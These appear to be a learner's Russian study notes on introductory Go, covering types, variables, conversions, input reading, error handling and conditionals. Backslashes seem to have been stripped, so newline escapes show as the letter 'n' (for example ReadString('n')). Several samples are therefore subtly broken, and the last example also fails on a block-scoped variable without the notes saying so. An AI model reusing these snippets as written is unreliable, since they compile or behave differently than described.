09. Математические операции и сравнения

Основные математические операторы Go работают так же, как и в большинстве других языков. 
оператор + выполняет сложение
оператор - выполняет вычитание
оператор * — умножение
оператор / — деление

Пример кода:
package main
import "fmt"
func main() {
        fmt.Println("t1 + 2 =", 1+2, "nt5.4 - 2.2 =", 5.4-2.2, "nt3 * 4 =", 3*4, "nt7.5 / 5 =", 7.5/5)
}



При помощи операторов < и > можно сравнить два значения и проверить, какое из них больше другого. 
оператор == (два знака равенства) проверяет, что два значения равны
оператор != проверяет, что два значения не равны
оператор <= проверяет, что второе значение меньше или равно первому
оператор >= проверяет, что второе значение больше или равно первому
Результатом сравнения является логическое значение (true или false)

package main
import "fmt"
func main() {
        fmt.Println("t4 < 6 ttt", 4 < 6, "nt4 > 6 ttt", 4 > 6, "nt2 + 2 == 5 tt", 2+2 == 5, "nt2 + 2 !=5 tt", 2+2 != 5, "nt4 < = 6 tt", 4 <= 6, "nt4 >= 4ttt", 4 >= 4)
}


10. Типы

В предыдущем примере кода использовалась функция math.Floor, округляющая число с плавающей точкой с уменьшением, 
и функция strings.Title, преобразующая первую букву каждого слова в строке к верхнему регистру. 
Логично ожидать, что в аргументе функции Floor передается число, а в аргументе функции Title передается строка.
Но что произойдет, если передать функции Floor строку, а функции Title число?
Go выводит два сообщения об ошибках — по одному для каждого вызова функции, а программа даже не запускается!

Объекты в окружающем мире часто можно разделить на типы в зависимости от того, для чего они используются. 
Машину или грузовик нельзя съесть на завтрак, а на омлете или чашке с кукурузными хлопьями не поедешь на работу — они предназначены для другого.

В языке Go используется статическая типизация — это означает, что типы всех значений известны еще до запуска программы. 
Функции ожидают, что их аргументы относятся к конкретным типам, а их возвращаемые значения тоже имеют типы (которые могут совпадать или не совпадать с типами аргументов).

Go — язык со статической типизацией. 
Если вы используете неправильный тип значения в неподходящем месте, Go сообщит вам об этом.

Пример не правильного использование типов:
package main
import (
        "fmt"
        "math"
        "strings"
)
func main() {
        fmt.Println(math.Floor("head first go"))
        fmt.Println(strings.Title(2.75))
}

Пример ошибки с неправильными типами:
 # command-line-arguments
./00_type_bad.go:10:25: cannot use "head first go" (type untyped string) as type float64 in argument to math.Floor
./00_type_bad.go:11:28: cannot use 2.75 (type untyped float) as type string in argument to strings.Title

11. Узнаем типы значений

Чтобы узнать тип любого значения, передайте его функции TypeOf из пакета reflect. 
Давайте узнаем типы некоторых значений, которые уже встречались в примерах программ:
package main
import (
        "fmt"
        "reflect"
)
func main() {
        fmt.Println(reflect.TypeOf(42))
        fmt.Println(reflect.TypeOf(3.1234))
        fmt.Println(reflect.TypeOf(true))
        fmt.Println(reflect.TypeOf("Hello world"))
}

Типы:
int     Целое число (не имеющее дробной части)
float64 Число с плавающей точкой. 
        Тип используется для хранения чисел, имеющих дробную часть. 
        (Для хранения числа используются 64 бита данных, отсюда суффикс 64 в имени. 
        Значения типа float64 обеспечивают очень высокую, хотя и не бесконечную точность.)
bool    Логическое значение (true или false)
string  Строка— последовательность данных, которые обычно представляют символы текста

12. Объявление переменных

В языке Go переменная представляет собой область памяти, в которой хранится значение.
Чтобы к переменной можно было обращаться по имени, используйте объявление переменной. 
Объявление состоит из ключевого слова var, за которым следует имя и тип значений, которые будут храниться в переменной.

var quantity int
var length, width float64
var customerName string

После того как переменная будет объявлена, ей можно будет присвоить любое значение этого типа оператором = (один знак равенства):
quantity = 2
customerName = "Damon Cole"

В одной команде можно присвоить значения сразу нескольким переменным.
Для этого перечислите имена переменных слева от = и такое же количество значений в правой части, разделяя их запятыми.
length, width = 1.2, 2.4

После того как переменной будет присвоено значение, вы сможете использовать ее в любом контексте, где может использоваться исходное значение:
package main
import "fmt"
func main() {
var quantity int
var length, width float64
var customerName string
quantity = 4
length, width = 1.2, 2.4
customerName = "Damon Cole"
fmt.Println(customerName)
fmt.Println("has ordered", quantity, "sheets")
fmt.Println("each with an area of")
fmt.Println(length*width, "square meters")
}

Пример 2:
package main
import "fmt"
func main() {
        var x1 int
        var x2 int
        var sumx int
        x1 = 500
        x2 = 600
        sumx = x1+x2
        fmt.Println(x1, "+", x2, "=", sumx)
}

Если значение переменной известно заранее, можно объявить переменную и присвоить ей значение в одной строке:
var quantity int = 4
var length, width float64 = 1.2, 2.4
var customerName string = "Damon Cole"

Существующим переменным можно присваивать новые значения, но эти значения должны относиться к тому же типу. 
Статическая типизация в Go гарантирует, что переменной не будет случайно присвоено значение неподходящего типа.

Если значение переменной присваивается одновременно с ее объявлением, тип переменной в объявлении обычно не указывают. 
Тип значения, присвоенного переменной, будет считаться типом этой переменной.

var quantity = 4
var length, width = 1.2, 2.4
var customerName = "Damon Cole"
fmt.Println(reflect.TypeOf(quantity))
fmt.Println(reflect.TypeOf(length))
fmt.Println(reflect.TypeOf(width))
fmt.Println(reflect.TypeOf(customerName))

Пример:
package main
import "fmt"
func main() {
        var x1 int = 700
        var x2 int = 800
        var sumx  = x1+x2
        fmt.Println(x1, "+", x2, "=", sumx)
}

13. Нулевые значения

Если переменная объявляется без присваивания значения, то она будет содержать нулевое значение для этого типа. 
Для числовых типов нулевое значение равно 0.
Пример:
package main
import "fmt"
func main() {
        var myInt int
        var myFloat float64
        fmt.Println(myInt, myFloat)
}



Но для других типов значение 0 будет недействительным, поэтому нулевое значение для этого типа будет отличаться. 
Скажем, для строковых переменных нулевым значением является пустая строка, а для переменных bool — значение false.
Пример:
package main
import "fmt"
func main() {
        var myString string
        var myBool bool
        fmt.Println(myString, myBool)
}



14. Короткие объявления переменных

Вместо того чтобы явно объявлять тип переменной и позднее присваивать ей значение оператором =, 
вы совмещаете эти две операции с помощью синтаксиса :=.

Обычное объявление переменной выглядит вот так:
var quantity int = 4 
var length, width float64 = 1.2, 2.4 
var customerName string = "Damon Cole"

Короткие объявления переменных выглядит так:
quantity := 4 
length, width := 1.2, 2.4 
customerName := "Damon Cole"


Пример в коде:
package main
import "fmt"
func main() {
        quantity := 4
        length, width := 1.2, 2.4
        customerName := "Damon Cole"
        fmt.Println(customerName)
        fmt.Println("has ordered", quantity, "sheets")
        fmt.Println("each with an area of")
        fmt.Println(length*width, "square meters")
}

Явно объявлять тип переменной не обязательно: 
тип значения, 
присвоенного переменной, 
становится типом этой переменной.

Поскольку короткие объявления переменных очень удобны и компактны, они используются чаще обычных объявлений.
Впрочем, время от времени вам будут встречаться обе формы, поэтому важно знать их.

15. Возможные ошибки при добавлении переменных

00. хз что это было....
// не знаю что это было но назвав файл 05_vats_test.go он не запускался :(
// go fmt 05_vats_test.go - выполняло форматирование
// go run  05_vats_test.go - приводило к ошибке "go run: cannot run *_test.go files (05_vars_test.go)"
// go build 05_vats_test.go - молча выполнялся но бинарник не производился
// mv 05_vats_test.go 05_dz.go - но когда я переименовал файл, файл стал выполнятся, сборка также свершилась.


Код для тестов:
package main
import "fmt"
func main() {
        quantity := 4
        length, width := 1.2, 2.4
        customerName := "Damon Cole"
        fmt.Println(customerName)
        fmt.Println("has ordered", quantity, "sheets")
        fmt.Println("each with an area of")
        fmt.Println(length*width, "square meters")
}

01. Пример, добавить второе объявление для той же переменной:
quantity := 4
quantity := 4
Ошибка при выполнении:
# command-line-arguments
./07_dd.go:7:11: no new variables on left side of :=

Переменную можно объявить только один раз. 
(Хотя при желании ей можно сколько угодно раз присваивать новые значения. 
Также можно объявлять другие переменные с тем же именем, но для этого они должны принадлежать другой области видимости.



02. Пример, убрать символ «:» из короткого объявления переменной: 
quantity = 4

Ошибка:
# command-line-arguments
./07_dd.go:8:2: undefined: quantity
./07_dd.go:12:29: undefined: quantity

Если вы забудете поставить двоеточие, конструкция
рассматривается как присваивание, а не как объявление, 
а переменной, которая не была объявлена, нельзя будет присвоить значение.



03. Пример, присвоить строковое значение переменной int:
quantity := 4
quantity = "a"

Ошибка:
# command-line-arguments
./07_dd.go:10:11: no new variables on left side of :=
./07_dd.go:10:11: cannot use "a" (type untyped string) as type int in assignment

Переменным могут присваиваться только значения того же типа.


04. Пример, количества переменных и значений не совпадают
length, width := 1.2
Ошибка:
# command-line-arguments
./07_dd.go:12:23: assignment mismatch: 2 variables but 1 values

Вы должны предоставить значение для каждой переменной и переменную для каждого значения

05. Пример, удалить код, в котором используется переменная
//fmt.Println(customerName)  - например можно просто закомментировать

Ошибка:
# command-line-arguments
./07_dd.go:14:2: customerName declared but not used

Все объявленные переменные должны использоваться в программе. 
Если вы удаляете код, в котором используется переменная, необходимо также удалить и объявление.

16. Правила выбора имен для переменных

В Go существует один простой набор правил, применяемых к именам переменных, функций и типов:

!!! Эти правила должны обязательно выполняться на уровне языка
00. Имя должно начинаться с буквы и может содержать любое количество дополнительных букв и цифр.

01. Если имя переменной, функции или типа начинается с буквы верхнего регистра, оно считается экспортируемым и может использоваться в других пакетах, кроме текущего. 
(Именно поэтому буква P в fmt.Println имеет верхний регистр: 
это нужно для того, чтобы его можно было использовать в main или любом другом пакете.) 
Если имя переменной/функции/типа начинается с буквы нижнего регистра, оно считается не экспортируемым. 
Такие имена доступны только в текущем пакете.

!!! Но сообщество Go также соблюдает ряд дополнительных соглашений:
02. Если имя состоит из нескольких слов, каждое слово после первого должно начинаться с буквы верхнего регистра, 
и они должны следовать друг за другом без разделения пробелами: topPrice, RetryConnection и т. д. 
(Первая буква имени имеет верхний регистр только в том случае, если оно должно экспортироваться из пакета.) 
Этот стиль записи часто называется верблюжьим регистром, потому что буквы верхнего регистра напоминают горбы у верблюда.

03. Если смысл имени очевиден по контексту, в сообществе Go принято сокращать его: использовать i вместо index, max вместо maximum и т. д.

Примеры:

Нормально:
sheetLength
TotalUnits
i

нарушают соглашения:
sheetlength - Остальные слова должны начинаться с буквы верхнего регистра!
Total_Units - Допустимо, но слова должны записываться подряд!
index - Хорошо бы заменить сокращением!


!!!
Только переменные, функции и типы, имена которых начинаются с буквы верхнего регистра, 
считаются экспортируемыми, то есть доступными за пределами текущего пакета.

17. Преобразования

Пример не рабочего кода:
package main
import "fmt"
func main() {
        var length float64 = 1.2
        var width int = 2
        fmt.Println("Area is", length*width)
        fmt.Println("length > width?", length > width)
}

При выполнении математических операций и операций сравнения в Go значения должны относиться к одному типу. 
Если же типы различаются, то при попытке выполнения кода вы получите сообщение об ошибке.
Ошибка:
# command-line-arguments
./02_badcode.go:8:31: invalid operation: length * width (mismatched types float64 and int)
./02_badcode.go:9:40: invalid operation: length > width (mismatched types float64 and int)

Этот принцип действует и при присваивании новых значений переменным. 
Если тип присваиваемого значения не соответствует объявленному типу переменной, вы получите сообщение об ошибке.
package main
import "fmt"
func main() {
var length float64 = 1.2
var width int = 2
length = width
fmt.Println(length)
}
Ошибка:
# command-line-arguments
./03_badcode.go:8:8: cannot use width (type int) as type float64 in assignment


Проблема решается преобразованием значений одного типа к другому типу. 
Для этого следует указать тип, к которому должно быть преобразовано значение, а за ним преобразуемое значение в скобках.
var myInt int = 2
float64(myInt)
В результате преобразования вы получите новое значение нужного типа. 

Пример кода:
package main 
//import "fmt"
import (
        "fmt"
        "reflect"
)
func main() {
var myInt int = 2
fmt.Println(reflect.TypeOf(myInt))
fmt.Println(reflect.TypeOf(float64(myInt)))
}

Ошибка забыл добавить компонент reflect
# command-line-arguments
./04_pre.go:7:14: undefined: reflect
./04_pre.go:8:14: undefined: reflect

18. Преобразование переменных

Пример не рабочего кода:
package main
import "fmt"
func main() {
        var length float64 = 1.2
        var width int = 2
        fmt.Println("Area is", length*width)
        fmt.Println("length > width?", length > width)
}

Исправим код:
package main
import "fmt"
func main() {
        var length float64 = 1.2
        var width int = 2
        fmt.Println("Area is", length*float64(width))
        fmt.Println("length > width?", length > float64(width))
}
Теперь математические операции и операции сравнения работают правильно!


Попробуем преобразовать значение int к типу float64 перед присваиванием переменной float64:
var length float64 = 1.2
var width int = 2
length = float64(width) - Преобразование int к типу float64 перед присваиванием переменной float64
fmt.Println(length)


Всегда держите в голове, как преобразования изменяют выходные значения. 
Например, переменные float64 могут хранить дробные значения, а переменные int — нет. 
Когда вы преобразовываете float64 в int, дробная часть просто отбрасывается! 
Это может внести путаницу в любые операции, выполняемые с результирующим значением.
var length float64 = 3.75
var width int = 5
width = int(length) - В результате этого преобразования дробная часть теряется!
fmt.Println(width)

Но если действовать внимательно, вы поймете, что преобразования исключительно важны для работы с Go. 
С ними вы сможете совместно использовать несовместимые типы.

Пример:
var price int = 100
var taxRate float64 = 0.08
var tax float64 = float64(price) * taxRate
fmt.Println(tax)

19. Кратко о чем писал выше

go build  - Компилирует файлы с исходным кодом в двоичные файлы
go run  - Компилирует и запускает программу без сохранения в исполняемом файле
go fmt - Переформатирует исходные файлы с использованием стандартного форматирования Go
go version - Выводит текущую версию Go

- Пакет представляет собой группу взаимосвязанных функций и других блоков кода.
- Прежде чем использовать функции из пакета в файле Go, необходимо импортировать этот пакет.
- Строка — последовательность байтов, обычно представляющих символы текста.
- Руна представляет отдельный символ текста.
- Два самых распространенных числовых типа Go — int (для хранения целых чисел) и float64 (для хранения чисел с плавающей точкой).
- Тип bool используется для хранения логических значений (true или false).
- Переменная представляет собой блок памяти для хранения значения заданного типа.
- Если переменной не присвоено значение, то она содержит нулевое значение для своего типа. 
  Примеры нулевых значений: 0 для переменных int или float64, "" для строковых переменных.
- Объявление переменной можно совместить с присваиванием ей значения при помощи короткого объявления переменной :=.
- К переменной, функции или типу можно обращаться из кода других пакетов только в том случае, если ее имя начинается с буквы верхнего регистра.
- Команда go fmt автоматически переформатирует исходные файлы по стандартам Go. 
  Всегда выполняйте команду go fmt для любого кода, который вы собираетесь передавать другим разработчикам.
- Команда go build компилирует исходный код Go в двоичный формат, который может выполняться компьютером.
- Команда go run компилирует и выполняет программу без сохранения в исполняемом файле в текущем каталоге.


Вызовы функций
Функция представляет собой блок кода, который может вызываться в других местах программы.
При вызове функции ей могут передаваться данные в аргументах.

Типы
У всех значений в Go имеется тип, который определяет, для чего могут использоваться эти значения. 
Математические операции и сравнения с разными типами запрещены, хотя при необходимости значение можно преобразовать к другому типу.
В переменных Go могут храниться значения только того типа, с которым они были объявлены

20. Вызов методов на примере пакета time

В языке Go можно определять методы: функции, связанные со значениями определенного типа. 
Методы Go похожи на связываемые с "объектами" методы других языков программирования, но в Go все проще.
В пакете time определен тип Time, представляющий дату (год, месяц и день) и время (час, минуты, секунды и т. д.). 
Каждое значение time.Time содержит метод Year, который возвращает год. 
Приведенный ниже код использует этот метод для вывода текущего года:
package main
import (
        "fmt"
        "time" //Необходимо импортировать пакет «time», чтобы использовать тип time.Time
)
func main() {
        var now time.Time = time.Now() //Метод time.Now возвращает значение time.Time, представляющее текущую дату и время.
        var year int = now.Year() //У значений time.Time имеется метод Year, который возвращает текущий год.
        fmt.Println(year)
}

Функция time.Now возвращает новое значение Time для текущей даты и времени; это значение сохраняется в переменной now. 
Затем мы вызываем метод Year для значения, ссылка на которое хранится в now:
now.Year()
 |   |
 |   Вызывает метод Year для значения time.Time
 Содержит значение time.Time


Метод Yer возвращает целое значение года, которое выводится программой.

Методы — это функции, связанные со значениями конкретного типа 

21. Вызов методов на примере пакета strings

Пакет strings содержит тип Replacer, который ищет подстроку в строке и заменяет каждое вхождение этой подстроки в другой строке. 

Следующий код заменяет каждый символ # в строке буквой o:
package main
import (
        "fmt"
        "strings"
)
func main() {
        broken := "G# r#cks!"
        replacer := strings.NewReplacer("#", "o")
        fixed := replacer.Replace(broken)
        fmt.Println(fixed)
}
Функция strings.NewReplacer получает аргументы — заменяемую строку ("#") и заменяющую строку ("o") — и возвращает значение strings.Replacer. 
Когда мы передаем строку методу Replace значения Replacer, то метод возвращает строку, в которой выполнена указанная замена

офф топ:
Значение. Имя метода.
   |          |
replacer.Replace(broken)
      now.Year()
       |   |
Значение. Имя метода.

21. Комментарии

Самая распространенная форма комментариев обозначается двумя слешами (//).
Все символы от // до конца строки рассматриваются как часть комментария.
Комментарий // может занимать всю строку или следовать после кода.

// Общее количество виджетов в системе.
var TotalCount int // Должно быть целым числом.

Более редкая форма комментариев занимает несколько строк. 
Блочные комментарии начинаются с /* и заканчиваются */, а весь текст между этими маркерами (включая символы новой строки) является частью комментария.
/*
Пакет widget включает все функции,
используемые для работы с виджетами.
*/


22. Получение значения от пользователя

Пример кода:
//Внимание: этот код не будет компилироваться в том виде, в котором он здесь приведен
// pass_fail сообщает, сдал ли пользователь экзамен.
package main
import (
"bufio"
"fmt"
"os"
)
func main() {
fmt.Print("Enter a grade: ")
reader := bufio.NewReader(os.Stdin)
input := reader.ReadString('n') - Возвращает текст, введенный пользователем до нажатия клавиши Enter.
fmt.Println(input) - Вывод введенных данных.
}

Сначала нужно запросить данные у пользователя, и для вывода приглашения используется функция fmt.Print. 
(В отличие от Println, функция Print не переходит на новую строку в терминале после вывода сообщения; 
таким образом, запрос и введенные данные размещаются в одной строке.)

Затем нам понадобится механизм чтения (получения и хранения) ввода из стандартного ввода программы, в который поступает весь ввод с клавиатуры. 
Строка reader := bufio.
NewReader(os.Stdin) сохраняет bufio.Reader в переменной reader, которая сделает это за вас.

Чтобы получить введенные данные от пользователя, мы вызываем метод ReadString для Reader. 
Методу ReadString требуется аргумент с руной (символом), отмечающей конец ввода. 
Мы хотим прочитать весь текст, введенный пользователем до нажатия Enter, поэтому ReadString передается руна новой строки.

После того как от пользователя будут получены данные, мы просто выводим их.

bufio.Reader - Пока достаточно знать, что это средство позволяет читать текст, введенный с клавиатуры.

                  Возвращает новое значение bufio.Reader.
                  |
reader := bufio.NewReader(os.Stdin)
                              |
                              Reader читает данные из стандартного ввода (с клавиатуры).

                 Возвращает данные, введенные пользователем, в виде строки
                  |
input := reader.ReadString('n')
                             |
                             Будет прочитан весь текст до руны новой строки.

Ошибка:
0. go build 00_input.go - при сборке
# command-line-arguments
./00_input.go:14:8: assignment mismatch: 1 variable but reader.ReadString returns 2 values

2. go run  00_input.go - при запуске без сборки 
# command-line-arguments
./00_input.go:14:8: assignment mismatch: 1 variable but reader.ReadString returns 2 values

3. из документации / мы должны были увидеть:
multiple-value reader.ReadString() in single-value context

Мы пытаемся прочитать ввод с клавиатуры, но получаем сообщение об ошибке. 
Компилятор сообщает о проблеме в следующей строке кода:
input := reader.ReadString('n')


В большинстве языков программирования функции и методы могут возвращать только одно значение, но в Go функция может возвращать сколько угодно значений. 
Чаще всего множественные возвращаемые значения в Go используются для возвращения дополнительного значения ошибки, по которому можно определить, 
не возникли ли проблемы во время выполнения функции или метода. 
Несколько примеров:
bool, err := strconv.ParseBool("true") - Возвращает ошибку, если строку не удается преобразовать в логическое значение. 
file, err := os.Open("myfile.txt") - Возвращает ошибку, если файл не удалось открыть.
response, err := http.Get("http://golang.org") - Возвращает ошибку, если страницу не удалось загрузить.

И в чем проблема? Просто добавьте переменную для хранения ошибки и не используйте ее!
Но Go не позволит объявить переменную, если она не используется в программе!!!

input, err := reader.ReadString('n') - не сработает !!! Ошибка "err declared and not used"

Go требует, чтобы каждая объявленная переменная также использовалась где-то в программе. 
Если вы добавите переменную err и не проверите ее, программа не будет компилироваться. 
Неиспользуемые переменные часто указывают на ошибки в программе; 
это один из примеров того, как Go помогает вам выявлять и исправлять ошибки!а

23. Вариант 1. Игнорировать возвращаемое значение ошибки

Если имеется значение, которое должно быть присвоено переменной, но вы не собираетесь его использовать, можно воспользоваться пустым идентификатором Go. 
Присваивание значения пустому идентификатору фактически приводит к тому, что оно теряется (а другим читателям вашего кода становится очевидно, что вы поступаете так намеренно). 
Чтобы использовать пустой идентификатор, просто введите символ подчеркивания ( _ ) в команде присваивания, где должно использоваться имя переменной.
Попробуем использовать пустой идентификатор вместо обычной переменной err:
// pass_fail сообщает, сдал ли пользователь экзамен.
package main
import (
"bufio"
"fmt"
"os"
)
func main() {
fmt.Print("Enter a grade: ")
reader := bufio.NewReader(os.Stdin)
input, _ := reader.ReadString('n')
fmt.Println(input)
}

24. Вариант 2. Обработка ошибки / пакет log

Игнорирование ошибок не является признаком небрежного кода.
Из предыдущего примера кода:
fmt.Print("Enter a grade: ")
reader := bufio.NewReader(os.Stdin)
input, _ := reader.ReadString('n')
       |
       Возвращаемый признак ошибки игнорируется!
fmt.Println(input) - Выводит значение, которое может быть недействительным!


В данном случае при возникновении ошибки правильнее было бы предупредить пользователя и прервать выполнение программы.
Пакет log содержит функцию Fatal, которая выполняет обе операции одновременно: 
вывод сообщения в терминале и остановку программы. 
(В этом контексте «фатальной» называется ошибка, «смертельная» для вашей программы.)

Давайте избавимся от пустого идентификатора "_" и заменим его переменной err, чтобы ошибка снова сохранялась в программе. 
Затем воспользуемся функцией Fatal для вывода сообщения об ошибке и прерывания работы программы.
Пример кода:
// pass_fail сообщает, сдал ли пользователь экзамен.
package main
import (
"bufio"
"fmt"
"log"
"os"
)
func main() {
fmt.Print("Enter a grade: ")
reader := bufio.NewReader(os.Stdin)
input, err := reader.ReadString('n')
log.Fatal(err)
fmt.Println(input)

Но при запуске программы обнаружится новая проблема:
Enter a grade: 22
2023/07/26 19:53:50 
exit status 1

Такие функции и методы, как ReadString, возвращают значение ошибки nil, что по сути означает «здесь ничего нет». 
Другими словами, если переменная err равна nil, значит, ошибки не было. 
Но наша программа написана так, что она просто сообщает об ошибке nil! 
Что же нужно сделать, чтобы программа завершалась только в том случае, если значение переменной не равно nil?

Для этого можно воспользоваться условными командами, в которых блок кода (одна или несколько команд, заключенных в фигурные скобки) 
выполняется только при истинности заданного условия.

if 1 < 2 {
fmt.Println("It's true!")
}

На этом пока стопе нужно разобраться с условными командами

25. Условные команды


Выражение вычисляется, и если полученный результат равен true, то выполняется код в теле условного блока. 
Если же результат равен false, условный блок пропускается.

if true {
fmt.Println("I'll be printed!")
}

if false {
fmt.Println("I won't!")
}

Как и многие другие языки, Go поддерживает множественное ветвление в условных командах.
Такие команды записываются в форме if...else if...else.

if grade == 100 {
fmt.Println("Perfect!")
} else if grade >= 60 {
fmt.Println("You pass.")
} else {
fmt.Println("You fail!")
}

Условные команды используют логическое выражение (результат которого равен true или false), 
чтобы определить, должен ли выполняться содержащийся в них код.
if 1 == 1 {
fmt.Println("I'll be printed!")
}
if 1 >= 2 {
fmt.Println("I won't!")
}
if 1 > 2 {
fmt.Println("I won't!")
}
if 2 <= 2 {
fmt.Println("I'll be printed!")
}
if 1 < 2 {
fmt.Println("I'll be printed!")
}
if 2 != 2 {
fmt.Println("I won't!")
}

Если код должен выполняться только в том случае, когда условие дает результат false, используйте ! — оператор логического отрицания. 
Этот оператор берет значение true и превращает его в false или же берет значение false и превращает его в true.
if !true {
fmt.Println("I won't be printed!")
}
if !false {
fmt.Println("I will!")
}

Если код должен выполняться только в том случае, когда истинны оба условия, используйте оператор && («и»). 
А если он должен выполняться лишь тогда, когда истинно хотя бы одно из двух условий, используйте оператор || («или»).
if true && true {
fmt.Println("I'll be printed!")
}
if false || true {
fmt.Println("I'll be printed!")
}
if true && false {
fmt.Println("I won't!")
}
if false || false {
fmt.Println("I won't!")
}

В: Другой язык программирования требует, чтобы условие команды if заключалось в круглые скобки. В Go это не обязательно?
О: Нет. Более того, команда go fmt удалит все круглые скобки, добавленные вами, если только они не используются для определения порядка операций.


26. Условная выдача фатальной ошибки (пакет log) / продолжение

Наша программа сообщает об ошибке и аварийно завершается, хотя данные с клавиатуры были успешно прочитаны. 
        Сохраняет возвращаемое значение ошибки в переменной.
        |
input, err := reader.ReadString('n')
log.Fatal(err) - Сообщаем о возвращаемом значении ошибки
Напоминаю ошибка выглядела вот так:
Enter a grade: 22
2023/07/26 19:53:50 
exit status 1


Мы знаем, что если значение в переменной err равно nil, это говорит о том, что данные с клавиатуры были прочитаны успешно. 
Теперь, познакомившись с командами if, попробуем обновить код, чтобы сообщение об ошибке и завершение программы происходило только в том случае, 
если значение err не равно nil.

Пример кода с обработкой ошибки:
// Выводит строку которую ввели
package main
import (
"bufio"
"fmt"
"log"
"os"
)
func main() {
fmt.Print("Enter a grade: ")
reader := bufio.NewReader(os.Stdin)
input, err := reader.ReadString('n')
if err != nil {
log.Fatal(err)
}
fmt.Println(input)
}

Вот еще один пример:
// сообщает размер файла my1.txt
package main
import (
        "fmt"
        "log"
        "os"
)
func main() {
        fileInfo, err := os.Stat("my1.txt")
        if err != nil {
                log.Fatal(err)
        }
        fmt.Println(fileInfo.Size())
}

27. Избегайте замещения имен

Пример кода:
fmt.Print("Enter a grade: ")
reader := bufio.NewReader(os.Stdin)
input, err := reader.ReadString('n')
if err != nil {
log.Fatal(err)
}
Ранее говорили, что стараетесь избегать сокращений.
А здесь переменной присваивается имя err вместо error!
Называть переменную error не рекомендуется, потому что
это приведет к замещению типа с именем error

Объявляя переменную, проследите за тем, чтобы ее имя не совпадало с именами существующих функций, пакетов, типов или других переменных. 
Если такое имя уже существует во внешней области видимости (вскоре мы поговорим об областях видимости), 
ваша переменная заместит его, то есть будет перехватывать все обращения к нему. 
И часто это нежелательно.
В следующем фрагменте объявляется переменная с именем int, которая замещает имя типа, переменная с именем append, 
которая замещает имя встроенной функции (функция append будет представлена в главе 6), а также переменная с именем fmt, которая замещает имя импортированного пакета. 
Эти имена создают путаницу, но сами по себе не порождают ошибок...

Пример ошибок в коде
package main
import "fmt"
func main() {
        var int int = 12 //Переменная с именем «int» замещает имя встроенного типа «int»!
        var append string = "minutes of bonus footage" //Переменная с именем «append» замещает имя встроенной функции «append»!
        var fmt string = "DVD" //Переменная с именем «fmt» замещает имя импортированного пакета «fmt»!
        var count int //int» теперь относится к переменной, объявленной выше, а не к числовому типу
        var languages = append([]string{}, "Español") //Имя «append» теперь обозначает переменную, а не функцию!
        fmt.Println(int, append, "on", fmt, languages) //Имя «fmt» теперь обозначает переменную, а не пакет
}

# command-line-arguments
./06_varerrorcode.go:3:8: imported and not used: "fmt"
./06_varerrorcode.go:9:6: int is not a type
./06_varerrorcode.go:10:24: cannot call non-function append (type string), declared at ./06_varerrorcode.go:7:6
./06_varerrorcode.go:11:5: fmt.Println undefined (type string has no field or method Println)

Чтобы не путаться самому и не путать коллег, старайтесь по возможности избегать замещения имен. 
В данном случае проблема решается простым выбором неконфликтующих имен для переменных:
Исправили код:
package main
import "fmt"
func main() {
        var count int = 12
        var suffix string = "minutes of bonus footage"
        var format string = "DVD"
        var languages = append([]string{}, "Español")
        fmt.Println(count, suffix, "on", format, languages)
}

Вот почему при объявлении переменных, предназначенных для хранения ошибок, мы присваивали им имя err вместо error,
мы хотели предотвратить замещение имени типа ошибки именем переменной.

package main
import "fmt"
fmt.Print("Enter a grade: ")
reader := bufio.NewReader(os.Stdin)
input, err := reader.ReadString('n') // err а не error!
if err != nil {
log.Fatal(err)
}

Если вы все же назовете свою переменную error, возможно, ваш код будет работать.
По крайней мере до того момента, как вы забудете, что имя типа ошибки было замещено, попробуете воспользоваться типом и получите вместо него переменную. 
Лучше не рисковать; используйте имя err для своих переменных со значениями ошибок.

28. Преобразование строк в числа

Условные команды также могут быть использованы для проверки введенного значения. 
Давайте воспользуемся командой if/else для определения того, прошел ли пользователь экзамен или нет. 
Если введенный процент правильных ответов равен 60 и выше, переменной status присваивается строка "passing". 
В противном случае переменной будет присвоена строка "failing".

Пример кода:
package main
import "fmt"
func main() {
        fmt.Print("Enter a grade:")
        reader := bufio.NewReader(os.Stdin)
        input, err := reader.ReadString('n')
        if err != nil {
                log.Fatal(err)
        }
        if input >= 60 {
                status := "passing"
        } else {
                status := "failing"
        }

}
!!! Код не заработает в текущем варианте этой программы выдается ошибка компиляции.

Дело в том, что ввод с клавиатуры читается как строка. 
Go может сравнивать числа только с другими числами, сравнить число со строкой не удастся. 
А прямого преобразования типа из строки в число не существует:
float64("2.6") - Ошибка cannot convert "2.6" (type string) to type float64 

Мы должны решить две задачи:
1. В конце строки input находится символ новой строки, появившийся в результате нажатия клавиши Enter в процессе ввода.
Его необходимо удалить.
2. Остальные символы строки необходимо преобразовать в число с плавающей точкой.


Удалить символ новой строки из конца входного текста несложно.
Пакет strings содержит функцию TrimSpace, которая удаляет все символы-пропуски (символы новой строки, табуляции и обычные пробелы) в начале и в конце строки.

s := "t formerly surrounded by space n"
fmt.Println(strings.TrimSpace(s))


Таким образом, чтобы убрать символ новой строки из входной строки, следует передать ее TrimSpace, 
а затем снова присвоить возвращенное значение переменной input.

input = strings.TrimSpace(input)

После этого в строке input должно остаться только число, введенное пользователем. 
Мы воспользуемся функцией ParseFloat из пакета strconv, чтобы преобразовать его в значение float64.

                                 В аргументах передается преобразуемая строка
                                   |
grade, err := strconv.ParseFloat(input, 64)
  |      |                               |
  |      Возможная ошибка                Количество битов точности для результата
  Возвращаемые значения - flat64


Функции ParseFloat передается строка, которую необходимо преобразовать в число, а также количество битов точности для результата. 
Поскольку строка преобразуется в значение float64, мы передаем число 64. 
(Кроме float64, в Go также поддерживается менее точный тип float32, однако им лучше не пользоваться, если только у вас нет на это веских причин.)

Функция ParseFloat преобразует число в строку и возвращает его в форме float64. 
Как и ReadString, она также имеет второе возвращаемое значение — значение ошибки. 
Оно должно быть равно nil, если только в ходе преобразования строки не возникли какие-то проблемы. 
(Например, переданная строка не может быть преобразована в число. 
Да и какой может быть числовой эквивалент у строки "hello"...)

Оффтоп:
Все эти «биты точности» сейчас не так уж важны.
По сути это просто размер компьютерной памяти, используемой для хранения числа с плавающей точкой. 
Если вы уверены в том, что вам нужно число float64, всегда передавайте 64 во втором аргументе ParseFloat, и все будет хорошо.

package main
import (
        "bufio"
        "log"
        "os"
        "strconv"
        "strings"
        "fmt"
)
func main() {
        fmt.Print("Enter a grage: ")
        reader := bufio.NewReader(os.Stdin)
        input, err := reader.ReadString('n')
        if err != nil {
                log.Fatal(err)
        }
        input = strings.TrimSpace(input)
        grade, err := strconv.ParseFloat(input, 64)
        if err != nil {
                log.Fatal(err)
        }
        if grade >= 60 {
                status := "passing"
        } else {
                status := "failing"
        }
        fmt.Println("A grade of", grade, "is", status)
}


